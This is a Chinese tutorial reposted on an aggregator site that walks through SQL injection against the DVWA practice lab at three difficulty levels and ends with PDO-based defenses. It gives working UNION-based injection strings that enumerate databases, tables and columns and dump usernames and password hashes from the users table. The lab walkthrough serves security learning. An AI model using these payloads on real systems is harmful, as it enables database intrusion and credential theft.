DVWA之SQL注入漏洞

这篇具有很好参考价值的文章主要介绍了DVWA之SQL注入漏洞。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

Low(数字型注入)

1、先确定正常和不正常的回显

回显,就是显示正在执行的批处理命令及执行的结果等。

输入1时,有回显,是正常的 数据库语句: select * from table where id =1

DVWA之SQL注入漏洞

输入5时,有回显,是正常的 数据库语句: select * from table where id =5

DVWA之SQL注入漏洞

输入6时,没有回显 数据库语句: select * from table where id =6

DVWA之SQL注入漏洞

从1~5是查询成功的,而5以后,却不显示,说明有5个用户

2、判断是否存在注入点

我先尝试数字型注入:“ ' ”,“and 1=1”,“and 1=2”

首先输入“ 1' ”,查询报错:

DVWA之SQL注入漏洞

通过注入发现该注入为数字型,而不是字符型

参考:https://www.runoob.com/mysql/mysql-operator.html 逻辑运算符

继续输入“1 and 1=1”,查询成功: 数据库查询语句: select * from table where id =1 and 1=1

DVWA之SQL注入漏洞

当输入“1 and 1=2”的时候,查询成功: 数据库查询语句: select * from table where id =1 and 1=2

DVWA之SQL注入漏洞

3、列字段 判断表列数

使用命令:1' or 1=1 order by 1 # 、 1' or 1=1 order by 2 # 、1' or 1=1 order by 3 # ,查询成功。

#是注释符号

当输入“1' or 1=1 order by 1 #”时,查询成功:

DVWA之SQL注入漏洞

数据库查询语句展示

DVWA之SQL注入漏洞

当输入“1' or 1=1 order by 3 #”时,查询报错:

DVWA之SQL注入漏洞

说明执行的sql查询语句中只有两个字段,即这里的First name、Surname.

4、判断显示位

-1' union select 1,2#

啥是union

联合查询 显然union会一次显示两个查询结果我们可以使得第一个查询语句作为正常内容,第二个作为查询语句来进行构造。

union注入流程:依次判断类型,字段数,回显点,依次爆库名,表名,字段名,数据

DVWA之SQL注入漏洞

数据库语句

DVWA之SQL注入漏洞

5、判断当前数据库\数据库版本号\当前用户信息

-1' union select group_concat(database(),version(),user()),2#

DVWA之SQL注入漏洞

数据库查询语句展示

DVWA之SQL注入漏洞

6、判断表名

-1' union select group_concat(database(),version(),user()),group_concat(table_name) from information_schema.tables where table_schema=database()#

DVWA之SQL注入漏洞

FAQ

解决DVWA靶场中返回的报错信息 “Illegal mix of collations for operation ‘UNION‘ ”

DVWA之SQL注入漏洞
DVWA之SQL注入漏洞
DVWA之SQL注入漏洞

7、判断字段名

1' union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#

DVWA之SQL注入漏洞

8、判断记字段中的数据

1' union select user,password from users#

DVWA之SQL注入漏洞

Medium(数字型注入)

下图可以看到中级加入了一些防御,不让用户输入,只提供选择(可以用burpsuit抓包来绕过),查看sql查询语句可以看出可能存在数字型sql注入

DVWA之SQL注入漏洞

1、判断注入点,以及注入的类型,下图可以看到,存在注入,注入类型是数字型注入

DVWA之SQL注入漏洞

2、猜解sql查询语句中的字段的列数,下图说明字段的列数为2

1 order by 3

DVWA之SQL注入漏洞

3、确定回显的位置,下图可以说明有2个回显位置

1 union select 1,2#

DVWA之SQL注入漏洞

4、获取当前数据库的名称以及版本

1 union select database(),version()#

DVWA之SQL注入漏洞

5、获取数据库中的所有表

1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

DVWA之SQL注入漏洞

6、获取表中的所有字段名

1 union select user,password from users#

DVWA之SQL注入漏洞

High高级(数字型注入)

点击”here to change your ID”,页面自动跳转,防御了自动化的SQL注入

参数没有做防御,在sql查询语句中限制了查询条数,可以通过burpsuit抓包,修改数据包实现绕过

1、判断注入点

DVWA之SQL注入漏洞

2、判断列数

1' order by 2#

1' union select database(),version()#

DVWA之SQL注入漏洞

3、判断表名

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

DVWA之SQL注入漏洞

4、判断表记录

1' union select user,password from users#

DVWA之SQL注入漏洞

Impossible(高级)

Impossible级别的代码采用了PDO技术,将输入与代码分隔开,这样便完全断隔了sql注入攻击

至于PDO技术为什么可以有效解决sql注入,大家可以看看这个博客

https://www.cnblogs.com/alazalazalaz/p/6056393.html

SQL Injection SQL防护总结

  1. 对参数进行预编译

  1. 使用正则表达式过滤传入的参数

  1. 字符串过滤,转义文章来源地址https://www.toymoban.com/news/detail-479083.html

到了这里,关于DVWA之SQL注入漏洞的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • DVWA-SQL Injection SQL注入

    SQL注入,是指将特殊构造的恶意SQL语句插入Web表单的输入或页面请求的查询字符串中,从而欺骗后端Web服务器以执行该恶意SQL语句。 成功的 SQL 注入漏洞可以从数据库中读取敏感数据、修改数据库数据(插入/更新/删除)、对数据库执行管理操作 (例如关闭 DBMS),恢复 DBM

    2024年02月08日
    浏览(28)
  • DVWA 之 SQL注入(非盲注)

    步骤: 1.判断是否存在注入,注入是字符型还是数字型 2.猜解SQL查询语句中的字段数 3.确定显示的字段顺序 4.获取当前数据库 5.获取数据库中的表 6.获取表中的字段名 7.下载数据 输入1,查询成功: 输入1’and ‘1’ =’2,查询失败,返回结果为空: 输入1’or ‘1 ’=’1,查询

    2024年02月04日
    浏览(32)
  • DVWA平台搭建+SQL注入实验详解

    实现1: 实现DVWA平台的搭建,为后续的SQL注入提供练习环境; 实现2: 进行SQL注入的练习,目的是了解因web应用程序对用户输入数据的合法性没有判断或过滤不严,而造成的危害,以便后续更好地掌握对其的防御手段,提高网络安全意识; 1、下载phpstudy安装包 (注意:如果

    2024年02月05日
    浏览(41)
  • 【SQL代理中转注入】对DVWA登录界面username字段实施注入

      以DVWA为攻击目标,将login.php中第21、22行注释掉 如此可知,首先需要通过token验证,然后能进行查询。 1.token验证通过。 这里token用到的函数是dvwaPage.inc.php中调用的 通过查看函数被调用的部分和逻辑,可知该检测是如此检测或者说避免CSRF攻击的: ①访问login.php,页面生成

    2024年04月25日
    浏览(22)
  • 使用burpsuite抓包 + sql工具注入 dvwa初级靶场

    记录一下自己重新开始学习web安全之路②。 1.工具准备 sqlmap + burpsuite 2.浏览器准备 火狐浏览器 + 设置代理。 首先,先设置一下火狐浏览器的代理 http代理地址为127.0.0.0.1 ,端口为8080 3.burpsuite 准备 将burpsuite的抓包功能打开。 注:burpsuite 不抓127.0.0.1 /dvwa-master的包,所以需要

    2024年02月07日
    浏览(34)
  • SQL注入(DVWA靶场搭建及使用、sqlMap注入、sqlmap问题及解决办法)

    1、客户端向服务端请求的流程 2、SQL注入常见分类  3、SQL注入常见过程  4、SQL注入的作用  5、常用SQL测试语句  注释字符: 一、下载DVWA 下载地址:DVWA/README.zh.md at master · digininja/DVWA · GitHub 这里我是从GitHub上下载的,小伙伴们自行选择 二、安装DVWA 在安装前,需要做一个

    2024年01月23日
    浏览(33)
  • SQL注入 - 利用报错函数 floor 带回回显

    环境准备:构建完善的安全渗透测试环境:推荐工具、资源和下载链接_渗透测试靶机下载-CSDN博客 一、原理 利用 COUNT() , FLOOR() , RAND() , 和 GROUP BY 来生成主键重复错误 函数解释 count() : 这个函数用于计算满足某一条件下的行数,是SQL中的一个聚合函数,常用于统计查询结果中

    2024年02月20日
    浏览(30)
  • DVWA中SQL注入时union出错,union排序混乱(Illegal mix of collations for operation UNION)

    目录 union排序错误 解决方式 问题:当你sql注入查询数据库表时,跳转到某个页面显示Illegal mix of collations for operation UNION 原因:说明你的union字符规则不一致导致的 小皮里安装phpMyAdmin4.8.5(Mysql管理工具) 找到数据库里的dvwa里的数据表名users,在结构里找到first_name和last_nam

    2024年02月05日
    浏览(49)
  • SQL注入(1)--判断是否存在SQL注入漏洞

    不论是学习后端开发/数据库/网络安全,SQL注入安全隐患反复被提起 到底什么是SQL? 维基百科的定义: (1)什么是SQL? SQL是用来操控数据库的语言 (2)举一个例子,现在我们要查询电影“长津湖”的票房数据: 先想象一下开发人员是如何书写代码从数据库中拿到数据的:

    2024年02月05日
    浏览(33)
  • SQL注入之WHERE 子句中的 SQL 注入漏洞

    ● 实验室要求 此实验室在产品类别筛选器中包含 SQL 注入漏洞。当用户选择类别时,应用程序将执行如下所示的 SQL 查询: 若要解决实验室问题,请执行 SQL 注入攻击,使应用程序显示任何类别(已发布和未发布)中所有产品的详细信息。 ● 必要知识点 一个没有安全概念的

    2024年02月14日
    浏览(36)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包